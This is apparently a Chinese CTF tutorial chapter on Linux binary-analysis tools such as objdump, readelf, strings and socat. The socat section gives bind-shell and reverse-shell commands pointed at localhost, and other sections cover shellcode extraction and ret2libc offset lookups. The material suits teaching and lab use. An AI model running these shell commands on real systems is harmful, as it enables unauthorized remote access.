# 6.1 更多 Linux 工具 - [dd](#dd) - [file](#file) - [edb](#edb) - [foremost](#foremost) - [ldd](#ldd) - [ltrace](#ltrace) - [md5sum](#md5sum) - [nm](#nm) - [objdump](#objdump) - [readelf](#readelf) - [socat](#socat) - [ssdeep](#ssdeep) - [strace](#strace) - [strings](#strings) - [xxd](#xxd) ## dd **dd** 命令用于复制文件并对原文件的内容进行转换和格式化处理。 #### 重要参数 ```text if=FILE read from FILE instead of stdin of=FILE write to FILE instead of stdout skip=N skip N ibs-sized blocks at start of input bs=BYTES read and write up to BYTES bytes at a time ``` #### 常见用法 ```shell $ dd if=[file1] of=[file2] skip=[size] bs=[bytes] ``` dump 运行时的内存镜像: - `cat /proc//maps` - 找到内存中 text 段和 data 段 - `dd if=/proc//mem of=/path/a.out skip=xxxx bs= 1 count=xxxx` ## file **file** 命令用来探测给定文件的类型。 #### 技巧 ```shell $ file -L [file] ``` 当文件是链接文件时,直接显示符号链接所指向的文件类别。 ## edb **edb** 是一个同时支持x86、x86-64的调试器。它主要向 OllyDbg 工具看齐,并可通过插件体系进行功能的扩充。 #### 安装 ```shell $ yaourt -S edb ``` ## foremost **foremost** 是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 #### 安装 ```shell $ yaourt -S foremost ``` ## ldd **ldd** 命令用于打印程序或者库文件所依赖的共享库列表。 ## ltrace **ltrace** 命令用于跟踪进程调用库函数的情况。 #### 重要参数 ```text -f trace children (fork() and clone()). -p PID attach to the process with the process ID pid. -S trace system calls as well as library calls. ``` ## md5sum **md5sum** 命令采用MD5报文摘要算法(128位)计算和检查文件的校验和。 #### 重要参数 ```text -b, --binary read in binary mode -c, --check read MD5 sums from the FILEs and check them ``` ## nm **nm** 命令被用于显示二进制目标文件的符号表。 #### 重要参数 ```text -a, --debug-syms Display debugger-only symbols -D, --dynamic Display dynamic symbols instead of normal symbols -g, --extern-only Display only external symbols ``` ## objdump **objdump** 命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。 #### 重要参数 ```text -d, --disassemble Display assembler contents of executable sections -R, --dynamic-reloc Display the dynamic relocation entries in the file ``` #### 常见用法 结合使用 *objdump* 和 *grep*。 ```shell $ objdump -d [executable] | grep -A 30 [function_name] ``` 查找 **GOT** 表地址: ```shell $ objdump -R [binary] | grep [function_name] ``` 从可执行文件中提取 **shellcode** (注意,在objdump中可能会删除空字节): ```shell $ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ``` ## readelf **readelf** 命令用来显示一个或者多个 elf 格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。 #### 重要参数 ```text -h --file-header Display the ELF file header -e --headers Equivalent to: -h -l -S -l --program-headers Display the program headers -S --section-headers Display the sections' header -s --syms Display the symbol table -r --relocs Display the relocations (if present) -d --dynamic Display the dynamic section (if present) ``` #### 常见用法 查找库中函数的偏移量,常用于**ret2lib**: ```shell $ readelf -s [path/to/library.so] | grep [function_name] ``` ## socat **socat** 是 netcat 的加强版,CTF 中经常需要使用使用它连接服务器。 #### 安装 ```shell $ yaourt -S socat ``` #### 常见用法 ```shell $ socat [options]
``` 连接远程端口 ```shell $ socat - TCP:localhost:80 ``` 监听端口 ```shell $ socat TCP-LISTEN:700 - ``` 正向 shell ```shell $ socat TCP-LISTEN:700 EXEC:/bin/bash ``` 反弹 shell ```shell $ socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane ``` 将本地 80 端口转发到远程的 80 端口 ```shell $ socat TCP-LISTEN:80,fork TCP:www.domain.org:80 ``` fork 服务器 ```shell $ socat tcp-l:9999,fork exec:./pwn1 ``` ## ssdeep 模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。 #### 重要参数 ```text -m - Match FILES against known hashes in file -b - Uses only the bare name of files; all path information omitted ``` #### 常见用法 ```shell $ ssdeep -b orginal.elf > hash.txt $ ssdeep -bm hash.txt modified.elf ``` ## strace **strace** 命令对应用的系统调用和信号传递的跟踪结果进行分析,以达到解决问题或者是了解应用工作过程的目的。 #### 重要参数 ```text -o file send trace output to FILE instead of stderr -c count time, calls, and errors for each syscall and report summary -e expr a qualifying expression: option=[!]all or option=[!]val1[,val2]... options: trace, abbrev, verbose, raw, signal, read, write, fault -p pid trace process with process id PID, may be repeated ``` ## strings **strings** 命令在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。strings命令对识别随机对象文件很有用。 #### 重要参数 ```text -a --all Scan the entire file, not just the data section [default] -t --radix={o,d,x} Print the location of the string in base 8, 10 or 16 -e --encoding={s,S,b,l,B,L} Select character size and endianness: s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit ``` #### 常见用法 组合使用 *strings* 和 *grep*。 在 **ret2lib** 攻击中,得到字符串的偏移: ```shell $ strings -t x /lib32/libc-2.24.so | grep /bin/sh ``` 检查是否使用了 **UPX** 加壳 ```shell $ strings [executable] | grep -i upx ``` #### 练习 [strings_crackme](../src/Reverse/strings_crackme) [flag_pwnablekr](../src/Reverse/flag_pwnablekr) ## xxd **xxd** 的作用就是将一个文件以十六进制的形式显示出来。 #### 重要参数: ```text -g number of octets per group in normal output. Default 2 (-e: 4). -i output in C include file style. -l len stop after octets. -u use upper case hex letters. ``` #### 常见用法 ```shell $ xxd -g1 ``` #### 练习 [xxd_crackme](../src/Reverse/xxd_crackme) (使用 *strings* 再做一次)